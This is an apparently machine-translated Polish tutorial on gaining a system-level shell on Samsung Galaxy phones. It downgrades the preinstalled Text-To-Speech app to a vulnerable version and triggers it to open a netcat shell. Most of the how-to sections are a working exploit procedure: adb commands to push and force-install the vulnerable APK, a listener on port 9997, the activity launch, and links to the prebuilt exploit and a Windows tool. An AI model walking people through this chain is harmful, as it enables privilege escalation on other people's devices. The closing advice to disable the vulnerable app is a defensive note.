Jak uzyskać dostęp do powłoki systemowej na dowolnym urządzeniu Samsung Galaxy

Szybkie linki

  • Warunki wstępne
  • Jak wykorzystać dowolne urządzenie Samsung Galaxy, aby uzyskać dostęp do powłoki systemowej
  • Weryfikacja
  • Wniosek

W pierwszy poniedziałek każdego miesiąca Google publikuje Biuletyn dotyczący bezpieczeństwa Androida. Ujawnia wszystkie złagodzone luki w zabezpieczeniach różnych komponentów systemu operacyjnego Android a także jądro Linuksa i jego poprawki przesłane przez samą firmę Google lub inne osoby trzecie data. Duzi producenci OEM, tacy jak Samsung, mają własne podejście do Androida, dlatego decydują się na wdrażanie własnych poprawek i aktualizacji również w aktualizacjach zabezpieczeń.

Biorąc to pod uwagę, dość trudno jest zająć się każdą luką. Istnieje mnóstwo wektorów ataku i czasami można na ich podstawie stworzyć własny łańcuch exploitów wcześniej znaną lukę tylko dlatego, że masz nową metodę obejścia jednej z nich zabezpieczenia. To jest dokładnie to, co starszy członek XDA K0mraid3 zrobił to, wykorzystując istniejącą od czterech lat lukę w zabezpieczeniach, która umożliwiła mu uzyskanie dostępu do powłoki systemowej na każdym urządzeniu Samsung Galaxy – łącznie z najnowszymi flagowcami – na rynku. Chociaż to nie to samo co

posiadanie uprawnień roota, jest to wystarczająco wysoka eskalacja uprawnień lokalnych.

Głównym punktem wejścia luki jest program Samsung Text-To-Speech (nazwa pakietu: com.samsung. SMT), fabrycznie załadowaną aplikację systemową, którą można znaleźć na każdym urządzeniu Samsung Galaxy. Pomysł polega na obniżeniu zainstalowanej wersji aplikacji do konkretnej podatnej wersji (wersja 3.0.02.2 dokładnie), a następnie zmusić go do załadowania biblioteki, która z kolei otwiera powłokę z uprawnieniami systemowymi (UID 1000).

Jeżeli chcesz dowiedzieć się więcej na temat exploita, koniecznie zajrzyj na stronę Wyjaśnienie głównego redaktora technicznego XDA Adama Conwaya. Rozmawiał z K0mraid3, aby poznać pełny zakres tego exploita i jego działanie.

  1. Powtarzam, nie jest to dostęp do roota (UID 0), ale dostęp do powłoki systemowej jest wystarczająco potężny, aby wykonać kilka plików binarnych, które w przeciwnym razie byłyby ograniczone.
  2. Weryfikacja koncepcji K0mraid3 wymaga pomocniczego pliku APK, który należy uruchomić przynajmniej raz przed uruchomieniem łańcucha exploitów.
  3. Jeden interfejs użytkownika, czyli wbudowane procedury oszczędzania energii w niestandardowej skórce Androida firmy Samsung, mogą być kłopotliwe, ponieważ mogą utrudniać komunikację między aplikacją TTS, pomocniczym plikiem APK i powłoką. Dlatego sugerujemy wcześniejsze ustawienie profilu oszczędzania energii dla aplikacji na „Bez ograniczeń”.

Warunki wstępne

  1. Pobierz wstępnie skompilowaną wersję exploita z pliku Wątek na forum XDA lub oficjalne repozytorium GitHub, do którego link znajduje się poniżej: Exploit powłoki systemowej K0mraid3s
  2. Wyodrębnij gdzieś archiwum i powinieneś znaleźć podatną na ataki wersję pakietu APK Samsung Text-To-Speech (samsungTTSVULN2.apk), aplikację pomocniczą (Komraid3s_POC_Vx.x.apk) i plik wykonywalny systemu Windows o nazwie systemshell-vx.x.exe.
  3. Upewnij się, że najnowsza wersja ADB jest zainstalowany na Twoim komputerze PC/Mac/Chromebooku. Pamiętaj też zainstaluj/zaktualizuj sterowniki USB Samsung jeśli jesteś użytkownikiem systemu Windows.

Jak wykorzystać dowolne urządzenie Samsung Galaxy, aby uzyskać dostęp do powłoki systemowej

Metoda ręczna

  1. Podłącz docelowe urządzenie Galaxy do komputera z włączonym debugowaniem USB, upewnij się, że jest ono wykrywalne przez ADB, a następnie zainstaluj aplikację pomocniczą.
    adb install Komraid3s_POC_Vx.x.apk
    • Jak wspomniano wcześniej, przed przejściem do następnego kroku otwórz aplikację pomocniczą przynajmniej raz.
  2. Teraz wypchnij podatną na ataki wersję aplikacji Samsung TTS do /data/local/tmp i zmień jej uprawnienia:
    adb push samsungTTSVULN2.apk /data/local/tmp
    adb shell chmod 777 /data/local/tmp/samsungTTSVULN2.apk
  3. Uruchom ponownie urządzenie. Gdy tylko znajdziesz się na ekranie głównym, uruchom następujące polecenie, aby zastąpić już zainstalowaną wersję aplikacji Samsung TTS wersją zawierającą lukę:
    adb shell pm install -r -d -f -g --full --install-reason 3 --enable-rollback /data/local/tmp/samsungTTSVULN2.apk
    • Jeśli wszystko pójdzie dobrze, na konsoli powinien pojawić się komunikat „Sukces”.
  4. Otwórz powłokę na urządzeniu docelowym, otwierając inne okno terminala i wykonując powłoka adb, następnie uruchom plik binarny Netcat i nasłuchuj połączenia przychodzącego na porcie 9997 za pomocą następującego polecenia:
    adb shell nc -lp 9997
  5. Na tym etapie musimy wykonać określoną czynność aplikacji Samsung TTS, która otworzy nam powłokę systemową.
    • Użyj aplikacji innej firmy, np Ten aby utworzyć skrót do pliku „com.samsung. SMT/.gui. DownloadList”.
    • Możesz także użyć własnego menedżera aktywności Androida (am), aby zrobić to samo. W takim przypadku możesz uruchomić go przez ADB (adb Shell am start -n com.samsung. SMT/.gui. DownloadList) lub użyj aplikacji emulującej terminal na telefonie/tablecie, takiej jak Termux i uruchom następujące polecenie:
      am start -n com.samsung.SMT/.gui.DownloadList
  6. Wróć do pierwszej powłoki i powinieneś zobaczyć nowy monit z uprawnieniami systemowymi (UID 1000).

Metoda zautomatyzowana

Aby to ułatwić, K0mraid3 zapewnia również łatwą w użyciu aplikację GUI, która automatyzuje większość zadań. Pamiętaj, że aplikacja GUI jest przeznaczona tylko dla systemu Windows, więc jeśli jesteś użytkownikiem systemu Linux/macOS, lepiej trzymać się metody ręcznej.

  1. Podłącz docelowe urządzenie Galaxy do komputera z włączonym debugowaniem USB, upewnij się, że jest ono wykrywalne przez ADB, a następnie zainstaluj aplikację pomocniczą.
    adb install Komraid3s_POC_Vx.x.apk
    • Jak wspomniano wcześniej, przed przejściem do następnego kroku otwórz aplikację pomocniczą przynajmniej raz.
  2. Po wykryciu urządzenia docelowego przez ADB uruchom systemshell-vx.x.exe na komputerze-hoście.
  3. Kliknij przycisk „START SHELL”. Aplikacja automatycznie obniży wersję aplikacji Samsung TTS i spróbuje otworzyć powłokę systemową.
    • Na telefonie/tablecie może pojawić się aplikacja TTS z monitem o pobranie niektórych danych głosowych. Nie ma potrzeby interakcji z tymi opcjami, ponieważ nie mają one nic wspólnego z exploitem.
    • Jeśli aplikacja zawiesza się lub po pewnym czasie nie otwiera okna powłoki, zamknij ją, uruchom ponownie docelowe urządzenie Galaxy i zacznij od nowa.
    • Aplikacja Galaxy Store może automatycznie aktualizować i/lub resetować profil oszczędzania energii aplikacji TTS w tle, dlatego sprawdź to przed rozpoczęciem procesu od zera.

Weryfikacja

Po uzyskaniu dostępu do powłoki możesz sprawdzić poziom uprawnień za pomocą jednego z poniższych poleceń:

  • whoami
    • Dane wyjściowe powinny brzmieć „system”
  • id -u
    • Wynik powinien wynosić „1000”

Wniosek

Typowym sposobem uzyskania dostępu do roota na urządzeniu z Androidem jest najpierw odblokowanie programu ładującego, który umożliwia uruchomienie plików binarnych innych firm. Ponieważ model zabezpieczeń Androida w zasadzie rozpada się po rootowaniu, ten krok celowo wyłącza jedną z kluczowych funkcji bezpieczeństwa na urządzeniu, co dlatego użytkownik musi wyraźnie na to pozwolić, zazwyczaj włączając przełącznik w Opcjach programisty, a następnie wydając polecenie odblokowania program rozruchowy. Po odblokowaniu bootloadera użytkownik może wprowadzić do systemu plik binarny superużytkownika, a także aplikację do zarządzania superużytkownikiem (np. Magisk), aby kontrolować, które procesy mają dostęp do roota.

Jednakże w przypadku wspomnianego powyżej exploita powłoki systemowej użytkownik nie musi odblokowywać programu ładującego, aby uzyskać zwiększone uprawnienia. Chociaż daleko mu do bycia rootem, użytkownik „systemowy” ma wystarczające możliwości, aby uzyskać dostęp do wielu partycji niskiego poziomu (takich jak jako /efs), uruchamiaj różne narzędzia serwisowe i debugujące oraz zmieniaj wiele wartości chronionych właściwości — a wszystko to nawet bez wyłączania się Knoxa. Te przykłady dotyczą tylko kilku aspektów; złośliwy aktor może połączyć to z innymi lukami i wymyślić bardziej nikczemne działania.

Będziemy musieli poczekać i zobaczyć, jak Google i Samsung poradzą sobie z tym scenariuszem. Tak czy inaczej, prawdopodobnie powinieneś na razie wyłączyć lub usunąć aplikację Samsung Text-To-Speech.